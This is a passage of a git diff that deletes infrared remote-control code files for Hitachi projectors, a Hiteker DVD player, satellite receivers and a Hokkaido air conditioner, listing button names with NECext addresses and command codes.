45 00 00 -command: 12 00 00 00 -# -name: COMPOSITE_VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 13 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 13 00 00 00 -# -name: S_VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 14 00 00 00 -# -name: S-VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 14 00 00 00 -# -name: COMPONENT_VIDEO_1 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 15 00 00 00 -# -name: COMPONENT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 15 00 00 00 -# -name: WIRELESS -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 16 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 17 00 00 00 -# -name: STANDBY_/_ON -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 17 00 00 00 -# -name: POWER_ON/OFF -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 17 00 00 00 -# -name: RGB -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 18 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 19 00 00 00 -# -name: SEARCH -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1A 00 00 00 -# -name: ONE_TOUCH -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1A 00 00 00 -# -name: COMPONENT_VIDEO2 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1B 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1D 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 1E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 20 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 21 00 00 00 -# -name: MENU_SELECT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 21 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 22 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 24 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 28 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 28 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2A 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2C 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2C 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2E 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 2E 00 00 00 -# -name: POSITION -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 30 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 40 00 00 00 -# -name: BLANK -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 41 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 50 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 50 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 51 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 51 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 52 00 00 00 -# -name: MUTE_ON/OFF -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 52 00 00 00 -# -name: VOLUME_ON -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 53 00 00 00 -# -name: VOLUME -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 53 00 00 00 -# -name: ZOOM_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 60 00 00 00 -# -name: ZOOM_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 61 00 00 00 -# -name: FOCUS_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 62 00 00 00 -# -name: FOCUS_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 63 00 00 00 -# -name: LENS_SHIFT_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 6A 00 00 00 -# -name: LENS_SHIFT_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 6B 00 00 00 -# -name: IRIS -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 6D 00 00 00 -# -name: BRIGHT_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 72 00 00 00 -# -name: BRIGHTNESS_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 72 00 00 00 -# -name: BRIGHT_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 73 00 00 00 -# -name: BRIGHTNESS_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 73 00 00 00 -# -name: CONTRAST_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 74 00 00 00 -# -name: CONTRAST_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 75 00 00 00 -# -name: COLOR_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 76 00 00 00 -# -name: COLOR_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 77 00 00 00 -# -name: C._TEMP. -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 79 00 00 00 -# -name: ASPECT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7A 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7B 00 00 00 -# -name: GAMMA_-1 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7C 00 00 00 -# -name: GAMMA_-2 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7D 00 00 00 -# -name: GAMMA_-3 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7E 00 00 00 -# -name: GAMMA_-4 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: 7F 00 00 00 -# -name: MAGNIFY_ON -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B0 00 00 00 -# -name: MAGNIFY_OFF -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B1 00 00 00 -# -name: MAGNIFY_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B1 00 00 00 -# -name: MAGNIFY_- -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B2 00 00 00 -# -name: MAGNIFY_+ -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B3 00 00 00 -# -name: MAGNIFY_OFF -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B3 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B4 00 00 00 -# -name: PINP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B5 00 00 00 -# -name: KEYSTONE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: B6 00 00 00 -# -name: LIGHT -type: parsed -protocol: NECext -address: 87 45 00 00 -command: BB 00 00 00 -# -name: VIDEO_MEMORY_1 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: C0 00 00 00 -# -name: VIDEO_MEMORY_2 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: C1 00 00 00 -# -name: VIDEO_MEMORY_3 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: C2 00 00 00 -# -name: VIDEO_MEMORY_4 -type: parsed -protocol: NECext -address: 87 45 00 00 -command: C3 00 00 00 -# -name: OPT_BLACK -type: parsed -protocol: NECext -address: 87 45 00 00 -command: CC 00 00 00 -# -name: BLACK -type: parsed -protocol: NECext -address: 87 45 00 00 -command: CC 00 00 00 -# -name: PICTURE_MODE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: CD 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: CD 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 87 45 00 00 -command: CE 00 00 00 -# -name: PC_-_P_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D0 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D0 00 00 00 -# -name: PC_-_P_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D1 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D1 00 00 00 -# -name: PC_-_F5_(SLIDE_SHOW) -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D2 00 00 00 -# -name: PC_-_ESCAPE -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D4 00 00 00 -# -name: ESC -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D4 00 00 00 -# -name: PC_-_HOME -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D5 00 00 00 -# -name: PC_-_END -type: parsed -protocol: NECext -address: 87 45 00 00 -command: D6 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir deleted file mode 100644 index a41d2e222..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/Video Projector/80,-1.ir +++ /dev/null @@ -1,116 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: MUTE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 0B 00 00 00 -# -name: CALL -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 10 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 12 00 00 00 -# -name: RGB_1/2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 13 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 15 00 00 00 -# -name: STANDBY/ON -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 17 00 00 00 -# -name: VIDEO_1/2 -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 20 00 00 00 -# -name: CHANGE_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 32 00 00 00 -# -name: CHANGE_H -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 39 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 40 00 00 00 -# -name: MENU_^ -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 4E 00 00 00 -# -name: MENU_V -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 53 00 00 00 -# -name: MENU_> -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5C 00 00 00 -# -name: MENU_< -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 5D 00 00 00 -# -name: BLUE_BACK -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 6B 00 00 00 -# -name: ZOOM_TELE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 70 00 00 00 -# -name: ZOOM_WIDE -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 71 00 00 00 -# -name: FOCUS_FAR -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 72 00 00 00 -# -name: FOCUS_NEAR -type: parsed -protocol: NECext -address: 50 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir deleted file mode 100644 index 83134e908..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hiteker/DVD Player/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: OPEN/CLOSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: SETUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: ZOOM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1F 00 00 00 -# -name: PROGRESSIVE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 43 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 44 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 45 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 46 00 00 00 -# -name: ANGLE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 47 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 48 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 49 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4C 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: SEARCH_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 54 00 00 00 -# -name: SKIP_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: SEARCH_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 59 00 00 00 -# -name: SKIP_<< -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5A 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5C 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5D 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5E 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir deleted file mode 100644 index e6699c0e5..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hivion/Unknown_SAT/64,64.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: tv/sat -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 13 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 14 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1B 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: a-z -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 44 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: func -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir deleted file mode 100644 index 0c314616a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hokkaido/Unknown_Airconditioner/77,178.ir +++ /dev/null @@ -1,350 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: off -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: DE 00 00 00 -# -name: fanlow -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool17low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool18low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool19low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool20low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool21low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool22low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool23low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool24low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: cool25low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat17low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat18low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat19low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat20low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat21low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat22low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat23low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat24low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: heat25low -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: F9 00 00 00 -# -name: fanmed -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool17med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool18med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool19med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool20med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool21med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool22med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool23med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool24med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: cool25med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat17med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat18med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat19med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat20med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat21med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat22med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat23med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat24med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: heat25med -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FA 00 00 00 -# -name: fanhigh -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool17high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool18high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool19high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool20high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool21high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool22high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool23high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool24high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: cool25high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat17high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat18high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat19high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat20high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat21high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat22high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat23high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat24high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 -# -name: heat25high -type: parsed -protocol: NECext -address: 4D B2 00 00 -command: FC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir deleted file mode 100644 index 14ce21562..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Satellite Receiver/1,-1.ir +++ /dev/null @@ -1,284 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: OPT_/_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: A/V+_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: FAV_/YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: A-Z/BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: TV/RAD -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: TV/STB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: EPG -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 42 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 43 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 44 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 45 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 46 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 47 00 00 00 -# -name: REW -type: parsed -protocol: NECext -address: 01 00 